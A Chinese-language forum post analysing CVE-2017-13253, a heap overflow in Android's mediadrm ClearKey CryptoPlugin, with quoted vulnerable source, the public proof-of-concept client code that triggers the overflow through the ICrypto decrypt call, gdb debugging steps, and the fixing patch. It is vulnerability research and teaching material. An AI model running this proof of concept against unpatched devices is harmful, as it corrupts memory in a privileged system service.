开年上班以来,就在研究binder机制。正好碰到了一个和binder有点联系的漏洞。
前段时间Zimperium zLabs披露了一个Android Drm service的堆溢出漏洞。简单调试分析一下。做个分享。
原文博客链接:https://blog.zimperium.com/cve-2017-13253-buffer-overflow-multiple-android-drm-services/
poc代码链接:https://github.com/tamirzb/CVE-2017-13253
前置知识:binder机制
堆溢出出现在/frameworks/av/drm/mediadrm/plugins/clearkey/CryptoPlugin.cpp中的
if (mode == kMode_Unencrypted) {
46 size_t offset = 0;
47 for (size_t i = 0; i < numSubSamples; ++i) {
48 const SubSample& subSample = subSamples[i];
49
50 if (subSample.mNumBytesOfEncryptedData != 0) {
51 errorDetailMsg->setTo(
52 "Encrypted subsamples found in allegedly unencrypted "
53 "data.");
54 return android::ERROR_DRM_DECRYPT;
55 }
56
57 if (subSample.mNumBytesOfClearData != 0) {
58 memcpy(reinterpret_cast<uint8_t*>(dstPtr) + offset,
59 reinterpret_cast<const uint8_t*>(srcPtr) + offset,
60 subSample.mNumBytesOfClearData); ----------------------->memcpy 溢出
61 offset += subSample.mNumBytesOfClearData;
62 }
63 }
64 return static_cast<ssize_t>(offset);
这个函数的上面一层函数是:
/hardware/interfaces/drm/1.0/default/CryptoPlugin.cpp中的 Return<void> CryptoPlugin::decrypt(bool secure,
59 const hidl_array<uint8_t, 16>& keyId,
60 const hidl_array<uint8_t, 16>& iv, Mode mode,
61 const Pattern& pattern, const hidl_vec<SubSample>& subSamples,
62 const SharedBuffer& source, uint64_t offset,
63 const DestinationBuffer& destination,
64 decrypt_cb _hidl_cb) {
65
110 。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。
111
if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
115
116 uint8_t *base = static_cast<uint8_t *>
117 (static_cast<void *>(sourceBase->getPointer()));
118 void *srcPtr = static_cast<void *>(base + source.offset + offset);
119
120 void *destPtr = NULL;
121 if (destination.type == BufferType::SHARED_MEMORY) {
122 const SharedBuffer& destBuffer = destination.nonsecureMemory;
123 sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124 if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126 return Void();
127 }
128 destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset); 关键地方,确定destPtr
129 } else if (destination.type == BufferType::NATIVE_HANDLE) {
130 native_handle_t *handle = const_cast<native_handle_t *>(
131 destination.secureMemory.getNativeHandle());
132 destPtr = static_cast<void *>(handle);
133 }
134 ssize_t result = mLegacyPlugin->decrypt(secure, keyId.data(), iv.data(),
135 legacyMode, legacyPattern, srcPtr, legacySubSamples,
136 subSamples.size(), destPtr, &detailMessage); 这里调用
137
有几个关键的数据结构,SubSamples,SouceBuffer,DestinationBuffer比较抽象
frameworks/native/include/media/hardware/CryptoAPI.h
53 struct SubSample {
54 uint32_t mNumBytesOfClearData;
55 uint32_t mNumBytesOfEncryptedData;
56 };
57
frameworks\av\media\libmedia\include\media\ICrypto.h
51 struct SourceBuffer {
52 sp<IMemory> mSharedMemory;
53 int32_t mHeapSeqNum;
54 };
61 struct DestinationBuffer {
62 DestinationType mType;
63 native_handle_t *mHandle;
64 sp<IMemory> mSharedMemory;
65 };
66
这里引用了一下原文的图片。
图片地址:https://blog.zimperium.com/wp-content/uploads/2018/03/4-decrypt-params-example.png
从上图可知,source和destination都是属于shared memory的,而且是相邻的。其中source中的data数据是被分割成多个subSamples的。那这个堆溢出是如何产生的呢。
先看代码。
111 if (source.offset + offset + source.size > sourceBase->getSize()) {
112 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
113 return Void();
114 }
115
116 uint8_t *base = static_cast<uint8_t *>
117 (static_cast<void *>(sourceBase->getPointer()));
118 void *srcPtr = static_cast<void *>(base + source.offset + offset);
这几行代码是判断source的大小是否正确。是通过source.offset + offset(这个其实是subSamples起始地址偏移)+source.size进行判断的。
然后计算出源地址,srcPtr = base+source.offset+offset,也就是第一个subSamples的地址,这里还是正确的。
下面开始计算destination和dstPtr的地址。
121 if (destination.type == BufferType::SHARED_MEMORY) {
122 const SharedBuffer& destBuffer = destination.nonsecureMemory;
123 sp<IMemory> destBase = mSharedBufferMap[destBuffer.bufferId];
124 if (destBuffer.offset + destBuffer.size > destBase->getSize()) {
125 _hidl_cb(Status::ERROR_DRM_CANNOT_HANDLE, 0, "invalid buffer size");
126 return Void();
127 }
128 destPtr = static_cast<void *>(base + destination.nonsecureMemory.offset);
121行代码判断缓冲区类型,这里是SHARED_MEMORY,进入122。
也是先计算destBuffer的大小是否正确。ok,这里计算是正确的。
然后计算destPtr的地址,destPtr = base + offset。---------->这里的base其实就是source的起始地址。根据上面那个图,可知。这样计算也是正确的。这样看来确实都是正常的,不存在漏洞。
但是感觉大牛总是能构造出具有bug的代码。
继续看上一层函数:/frameworks/av/drm/libmediadrm/ICrypto.cpp 中的
237status_t BnCrypto::onTransact(
238 uint32_t code, const Parcel &data, Parcel *reply, uint32_t flags) {
239 switch (code) {
。。。。。。。。。。。。
。。。。。。。。。。。。。。。。
309 case DECRYPT:
310 {
311 CHECK_INTERFACE(ICrypto, data, reply);
312
313 CryptoPlugin::Mode mode = (CryptoPlugin::Mode)data.readInt32();
314 CryptoPlugin::Pattern pattern;
315 pattern.mEncryptBlocks = data.readInt32();
316 pattern.mSkipBlocks = data.readInt32();
317
318 uint8_t key[16];
319 data.read(key, sizeof(key));
320
321 uint8_t iv[16];
322 data.read(iv, sizeof(iv));
323
324 size_t totalSize = data.readInt32();
325
326 SourceBuffer source;
327
328 source.mSharedMemory =
329 interface_cast<IMemory>(data.readStrongBinder());
330 if (source.mSharedMemory == NULL) {
331 reply->writeInt32(BAD_VALUE);
332 return OK;
333 }
334 source.mHeapSeqNum = data.readInt32();
335
336 int32_t offset = data.readInt32();
337
338 int32_t numSubSamples = data.readInt32();
339 if (numSubSamples < 0 || numSubSamples > 0xffff) {
340 reply->writeInt32(BAD_VALUE);
341 return OK;
342 }
343
344 CryptoPlugin::SubSample *subSamples =
345 new CryptoPlugin::SubSample[numSubSamples];
346
347 data.read(subSamples,
348 sizeof(CryptoPlugin::SubSample) * numSubSamples);
349
350 DestinationBuffer destination;
351 destination.mType = (DestinationType)data.readInt32();
352 if (destination.mType == kDestinationTypeNativeHandle) {
353 destination.mHandle = data.readNativeHandle();
354 if (destination.mHandle == NULL) {
355 reply->writeInt32(BAD_VALUE);
356 return OK;
357 }
358 } else if (destination.mType == kDestinationTypeSharedMemory) { 判断destination的类型就结束了,没有大小的判断
359 destination.mSharedMemory =
360 interface_cast<IMemory>(data.readStrongBinder());
361 if (destination.mSharedMemory == NULL) {
362 reply->writeInt32(BAD_VALUE);
363 return OK;
364 }
365 }
366
367 AString errorDetailMsg;
368 ssize_t result;
369
370 size_t sumSubsampleSizes = 0;
371 bool overflow = false;
372 for (int32_t i = 0; i < numSubSamples; ++i) { 这里会相加多个subSamples,并判断是否超出
373 CryptoPlugin::SubSample &ss = subSamples[i];
374 if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfEncryptedData) {
375 sumSubsampleSizes += ss.mNumBytesOfEncryptedData;
376 } else {
377 overflow = true;
378 }
379 if (sumSubsampleSizes <= SIZE_MAX - ss.mNumBytesOfClearData) {
380 sumSubsampleSizes += ss.mNumBytesOfClearData;
381 } else {
382 overflow = true;
383 }
384 }
385
386 if (overflow || sumSubsampleSizes != totalSize) {
387 result = -EINVAL;
388 } else if (totalSize > source.mSharedMemory->size()) {
389 result = -EINVAL;
390 } else if ((size_t)offset > source.mSharedMemory->size() - totalSize) { 这里判断了source的大小,这个totalSize就是要处理subSamples的大小总和。
391 result = -EINVAL;
392 } else {
393 result = decrypt(key, iv, mode, pattern, source, offset,
394 subSamples, numSubSamples, destination, &errorDetailMsg);
395 }
356行代码开始只是判断了destination的类型,并没有判断destination.offset加上total值是否大于destination.size。这里total值就是要处理的解密数据总和。因此在最上面那个函数里面发送了溢出。
这里再次引用原文的图片,更加直观。https://blog.zimperium.com/wp-content/uploads/2018/03/10-overflow.png
ok。到此,算是把别人的文章分析了一遍。不过个人认为还是调试一下看看会更加清晰。
先上poc代码:
sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE); 申请一个heap块。
// This line is to merely show that we have full control over the data
// written in the overflow.
memset(heap->getBase(), 'A', DATA_SIZE); 这里填充heap,大小为0x2000
sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE); 源内存,设置了offset为0,大小为0x2000也就是total共0x2000
sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET,
DEST_OFFSET); 目的内存,设置偏移比较巧妙,正好是DATA_SIZE - DEST_OFFSET,大小为DEST_OFFSET,这样设置的目的正好可以保证第二个函数中对destination的检测是正确的。
int heapSeqNum = crypto->setHeap(heap);
if (heapSeqNum < 0) {
fprintf(stderr, "setHeap failed.\n");
return;
}
下面这些代码都是设置一些decrypt函数的相关参数。只需保证能通过函数检查就行。
CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 };
ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory,
.mHeapSeqNum = heapSeqNum };
// mNumBytesOfClearData is the actual size of data to be copied.
CryptoPlugin::SubSample subSamples[] = { {
.mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } };
ICrypto::DestinationBuffer destination = {
.mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL,
.mSharedMemory = destMemory };
printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL,
CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples,
ARRAY_SIZE(subSamples), destination, NULL)); 然后就ipc调用decrypt函数
poc调用了很多头文件是来自源码中的。单纯的ndk是无法编译的。
git上面有编译方法。请参考。
代码得来终觉浅,绝知此洞要调试
调试吧。android应用层调试。开始配置调试环境。
ubuntu物理机。
源码要求:8.0以上。
调试机器:笔者使用的是nexus5x。不要使用模拟器调试,有坑的。!!!!!!!
编译源码和刷机就不讲了,玩漏洞的你应该懂怎么配置环境了。不知道的,坛子里有相关帖子。
服务端调试命令:
adb forward tcp:1234 tcp:1234
adb shell ps | grep mediadrmserver
adb shell gdbserver :1234 --attach PID
客户端调试命令:
cd 到源码目录下面:
source build/envsetup.sh
lunch aosp_bullhead-userdebug (这里的选项根据调试机器确定)
gdbclient mediadrmserver
gdb起来后。
target remote :1234
挂上了,然后就是下断点。
三个关键函数:
android::BnCrypto::onTransact
android::CryptoHal::decrypt
clearkeydrm::CryptoPlugin::decrypt
可以先第一个,然后adb shell 进去机子里面执行system/bin/icrypto_overflow
命中断点后
单步走走看。前两次是调用createPlugin和setHeap。
然后才是调用decrypt。
调用decrypt函数。
可以单步看看实现逻辑。估计是android源码命名空间的源码,上下文中无法打印出局部变量,只能注意观察寄存器了。
从反序列化中获取total的值。
读取后放到r9里面。单步后,看下r9。
具体其他参数,可以同样单步查看,不再赘述。直接来看调用decrypt函数。
可以s跟进去,然后bt看看。
能看到部分参数。其实是想看source和destination的。说实话,这种多层类函数调用,在加上传递参数,还真不好锁定,请原谅我。不要紧,后面能看到。
还是直接快速来到memcpy函数吧,
->0xed01489f <clearkeydrm::CryptoPlugin::decrypt(bool,+0> add.w r0, r11, r5
0xed0148a3 <clearkeydrm::CryptoPlugin::decrypt(bool,+0> add.w r1, r10, r5
0xed0148a7 <clearkeydrm::CryptoPlugin::decrypt(bool,+0> mov.w r8, r7, lsl #1
0xed0148ab <clearkeydrm::CryptoPlugin::decrypt(bool,+0> blx 0xed013b64 <__aeabi_memcpy@plt>
r11 存放destPtr, r10存放srcPtr, r2存放拷贝大小,r5是offset。
其实在走下去就直接溢出了。怎么看?
使用vmmap命令,可以查看内存属性。
0xee186000是MemoryHeapBase的起始地址,大小为0x2000。
如果从0xee187fff覆盖,0xee187fff+0x2000 > 0xee188000的,这就导致堆溢出了,直接触发了堆保护页。
所以这个漏洞也是无法利用的。尴尬。。。。。。。。。
到此调试分析结束。
看看补丁吧:https://android.googlesource.com/platform/frameworks/av/+/871412cfa05770cfd8be0a130b68386775445057%5E%21/#F0
//#define LOG_NDEBUG 0
#define LOG_TAG "ICrypto"
-#include <utils/Log.h>
-
#include <binder/Parcel.h>
#include <binder/IMemory.h>
+#include <cutils/log.h>
#include <media/ICrypto.h>
#include <media/stagefright/MediaErrors.h>
#include <media/stagefright/foundation/ADebug.h>
#include <media/stagefright/foundation/AString.h>
+#include <utils/Log.h>
namespace android {
@@ -362,6 +362,13 @@
reply->writeInt32(BAD_VALUE);
return OK;
}
+ sp<IMemory> dest = destination.mSharedMemory;
+ if (totalSize > dest->size() ||
+ (size_t)dest->offset() > dest->size() - totalSize) {
+ reply->writeInt32(BAD_VALUE);
+ android_errorWriteLog(0x534e4554, "71389378");
+ return OK;
+ }
}
AString errorDetailMsg;
直接在判断完destination的类型后,就判断dest->offset + totalSize 不能大于 dest->size。
[课程]Android-CTF解题方法汇总!
最后于 2018-3-23 01:30
被ID蝴蝶编辑
,原因: